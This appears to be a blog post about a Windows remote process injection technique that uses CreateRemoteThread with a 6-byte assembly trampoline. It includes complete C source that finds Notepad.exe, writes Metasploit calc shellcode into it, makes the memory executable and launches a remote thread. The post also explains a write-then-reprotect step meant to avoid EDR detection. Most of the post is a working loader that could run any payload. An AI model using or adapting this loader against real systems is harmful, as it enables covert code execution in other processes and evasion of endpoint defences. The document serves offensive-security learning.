Post

Remote-Thread-Injection-Callback-Trampoline

Remote-Thread-Injection-Callback-Trampoline

What is it?

Remote process injection using CreateRemoteThread — but instead of pointing the thread directly at the shellcode, a tiny 6-byte assembly trampoline is injected first and used as the thread entry point. The shellcode address is passed as lpParameter, and the trampoline bridges the gap between the Windows calling convention and the raw shellcode.

Flow

How it works

Why a trampoline?

CreateRemoteThread expects a thread start routine with this signature: DWORD WINAPI ThreadProc(LPVOID lpParameter)

On x64, Windows delivers lpParameter in the RCX register. We pass &Shellcode as lpParameter → RCX = shellcode address.

Raw shellcode is position-independent bytes — it has no function prologue and doesn’t follow any calling convention. It just executes. We need something to take the address from RCX and jump to it. That’s the trampoline.

Step 1: Find and open the target process

1
2
3
4
5
6
7
8
9
10
11
EnumProcesses(dwPidArray, sizeof(dwPidArray), &dwPIDArrayLength)
→ fills dwPidArray with all running PIDs
→ dwPIDArrayLength = bytes written, not count
  dwPIDArrayLength /= sizeof(DWORD)  ← convert to actual PID count

for each PID:
  OpenProcess(PROCESS_ALL_ACCESS)     ← many fail with access denied, skip
  EnumProcessModules → hModule        ← index 0 = the executable itself
  GetModuleBaseNameW → szProcessName
  lstrcmpiW(szProcessName, L"Notepad.exe") == 0 ?
    → save hProcess + dwProcId, done

Step 2: Inject the trampoline

1
2
3
4
5
6
7
8
CallbackTrampoline (6 bytes):
  48 89 C8    mov rax, rcx    ← RCX = shellcode address (from lpParameter)
  FF E0       jmp rax         ← jump directly into shellcode

VirtualAllocEx (PAGE_READWRITE)       ← allocate RW first, not RWX
WriteProcessMemory → trampoline bytes ← write while still RW
VirtualProtectEx  → PAGE_EXECUTE_READWRITE
→ pCallbackAddr = trampoline address in target process

Step 3: Inject the shellcode

1
2
3
4
VirtualAllocEx (PAGE_READWRITE)
WriteProcessMemory → shellcode bytes
VirtualProtectEx  → PAGE_EXECUTE_READWRITE
→ pShellcodeAddr = shellcode address in target process

Step 4: Create the remote thread

1
2
3
4
5
6
7
8
9
CreateRemoteThread(
  hProcess,
  NULL, 0,
  pCallbackAddr,     ← entry point = trampoline
  pShellcodeAddr,    ← lpParameter = shellcode address → lands in RCX
  0, NULL
)

WaitForSingleObject(hThread, INFINITE)  ← wait for shellcode to finish

Full execution flow in the target process:

Callback Injection Flow

Callback Injection Flow

Allocating as PAGE_READWRITE first and then flipping to PAGE_EXECUTE_READWRITE via VirtualProtectEx is a deliberate choice — writing directly into an RWX allocation is a stronger IOC that many EDRs flag immediately. Write first, then change permissions.

The trampoline is only 6 bytes precisely because that’s all it needs: move the parameter from where Windows left it (RCX) into a scratch register (RAX), then jump there. No stack setup, no prologue — just two instructions that hand control to the shellcode cleanly.

RemoteProcessInjection-WithCallback.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>

#define TARGET_PROCESS  L"Notepad.exe"

// x64 calc shellcode (metasploit)
unsigned char Shellcode[] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};


/*
    Callback trampoline patch

        CreateRemoteThread start routine is: ThreadProc(LPVOID lpParam) Windows in x64 passes lpParam in RCX register, we use this trampoline to patch it by effectively injecting our shellcode address in lpParam, so RCX will hold our shellcode base address

        48 89 C8    mov rax, rcx    ; RAX = shellcode address (from lpParam)  ← MISSING THIS LINE
        FF E0       jmp rax         ; jump to shellcode
*/
unsigned char CallbackTrampoline[] = {
    0x48, 0x89, 0xC8,   // mov rax, rcx
    0xFF, 0xE0          // jmp rax
};


/*
    Enumerate running processes and return a handle to the first match

    szProcName -> Target process name (e.g. L"Notepad.exe")
    dwProcId   -> Receives the PID of the matched process
    hProcess   -> Receives an open handle with PROCESS_ALL_ACCESS
*/
BOOL GetProcesses(_In_ LPWSTR szProcName, _Out_ DWORD* dwProcId, _Out_ HANDLE* hProcess) {

    if (!szProcName || !dwProcId || !hProcess)
        return FALSE;

    *dwProcId = 0;
    *hProcess = NULL;

    DWORD   dwPidArray[MAX_PATH * 2] = { 0 };
    DWORD   dwPIDArrayLength = 0;
    HANDLE  hTmp = NULL;
    BOOL    bResult = FALSE;

    // Fill dwPidArray with PIDs of all running processes
    if (!EnumProcesses(dwPidArray, sizeof(dwPidArray), &dwPIDArrayLength)) {
        printf("[!] EnumProcesses Failed: %d \n", GetLastError());
        goto _CleanUp;
    }

    // Convert bytes → number of PIDs
    dwPIDArrayLength /= sizeof(DWORD);

    for (DWORD i = 0; i < dwPIDArrayLength; i++) {

        // PID 0 = System Idle Process — skip it
        if (dwPidArray[i] == 0)
            continue;

        // Try to open the process — many will fail (access denied) and that's expected
        hTmp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPidArray[i]);
        if (!hTmp)
            continue;

        // Get the first loaded module (index 0 = the executable itself)
        HMODULE hModule = NULL;
        DWORD   dwModuleLen = 0;

        if (!EnumProcessModules(hTmp, &hModule, sizeof(HMODULE), &dwModuleLen)) {
            CloseHandle(hTmp);
            hTmp = NULL;
            continue;
        }

        // Retrieve the base name of the TARGET_PROCESS
        WCHAR szProcessName[MAX_PATH] = { 0 };
        if (!GetModuleBaseNameW(hTmp, hModule, szProcessName, MAX_PATH)) {
            CloseHandle(hTmp);
            hTmp = NULL;
            continue;
        }

        // Case-insensitive compare against our target
        if (lstrcmpiW(szProcessName, szProcName) == 0) {
            *dwProcId = dwPidArray[i];
            *hProcess = hTmp;     // caller is responsible for closing this handle
            bResult = TRUE;
            wprintf(L"\t[+] Found: %s (PID: %d) \n", szProcessName, dwPidArray[i]);
            goto _CleanUp;
        }

        CloseHandle(hTmp);
        hTmp = NULL;
    }

_CleanUp:
    if (hTmp && !bResult)
        CloseHandle(hTmp);

    return bResult;
}


/*
    Allocate memory in the target process, write data into it, then mark RWX

    hProcess    -> Handle to target process
    pData       -> Buffer to inject
    szDataSize  -> Size of buffer in bytes
    pRemoteAddr -> Receives the address of the allocation in the target process
*/
BOOL InjectMemory(_In_ HANDLE hProcess, _In_ PBYTE pData, _In_ SIZE_T szDataSize, _Out_ PVOID* pRemoteAddr) {

    PVOID   pAllocAddr = NULL;
    SIZE_T  szBytesWritten = 0;
    DWORD   dwOldProtect = 0;

    if (!hProcess || !pData || !szDataSize || !pRemoteAddr)
        return FALSE;

    // Allocate a RW region in the target process
    pAllocAddr = VirtualAllocEx(hProcess, NULL, szDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pAllocAddr) {
        printf("[!] VirtualAllocEx Failed: %d \n", GetLastError());
        return FALSE;
    }

    printf("[+] Allocated 0x%p (%zu bytes) \n", pAllocAddr, szDataSize);

    // Copy our buffer into the remote process at the allocated address
    if (!WriteProcessMemory(hProcess, pAllocAddr, pData, szDataSize, &szBytesWritten) || szBytesWritten != szDataSize) {
        printf("[!] WriteProcessMemory Failed: %d \n", GetLastError());
        VirtualFreeEx(hProcess, pAllocAddr, 0, MEM_RELEASE);
        return FALSE;
    }

    printf("[+] Written %zu bytes \n", szBytesWritten);

    // Modify the region to RWX so the CPU can execute it
    if (!VirtualProtectEx(hProcess, pAllocAddr, szDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        printf("[!] VirtualProtectEx Failed: %d \n", GetLastError());
        VirtualFreeEx(hProcess, pAllocAddr, 0, MEM_RELEASE);
        return FALSE;
    }

    *pRemoteAddr = pAllocAddr;
    return TRUE;
}


int main() {

    DWORD   dwProcId = 0;
    HANDLE  hProcess = NULL,
        hThread = NULL;
    PVOID   pCallbackAddr = NULL,
        pShellcodeAddr = NULL;

    wprintf(L"[*] Looking for %s ... \n", TARGET_PROCESS);

    if (!GetProcesses(TARGET_PROCESS, &dwProcId, &hProcess)) {
        printf("[!] Target process not found \n");
        return -1;
    }

    // Inject trampoline first — it's the thread entry point
    printf("[*] Injecting callback trampoline ... \n");
    if (!InjectMemory(hProcess, CallbackTrampoline, sizeof(CallbackTrampoline), &pCallbackAddr)) {
        printf("[!] Trampoline Injection Failed \n");
        goto _CleanUp;
    }

    printf("[+] Trampoline At: 0x%p \n", pCallbackAddr);

    // Inject shellcode — passed as lpParameter to the thread
    printf("[*] Injecting shellcode ... \n");
    if (!InjectMemory(hProcess, Shellcode, sizeof(Shellcode), &pShellcodeAddr)) {
        printf("[!] Shellcode Injection Failed \n");
        goto _CleanUp;
    }
    printf("[+] Shellcode At: 0x%p \n", pShellcodeAddr);

    // Thread starts at the trampoline (entry point)
    // Shellcode address is passed as lpParameter → arrives in RCX
    // Trampoline: mov rax, rcx / jmp rax → lands in shellcode
    printf("[*] Creating Remote Thread ... \n");
    hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCallbackAddr, pShellcodeAddr, 0, NULL);
    if (!hThread) {
        printf("[!] CreateRemoteThread Failed: %d \n", GetLastError());
        goto _CleanUp;
    }

    printf("[+] Thread Created \n");
    printf("    \t[>] Entry  (trampoline):  0x%p \n", pCallbackAddr);
    printf("    \t[>] Param  (shellcode):   0x%p \n", pShellcodeAddr);

    WaitForSingleObject(hThread, INFINITE);

_CleanUp:
    if (hThread)    CloseHandle(hThread);
    if (hProcess)   CloseHandle(hProcess);
    return 0;
}
This post is licensed under CC BY 4.0 by the author.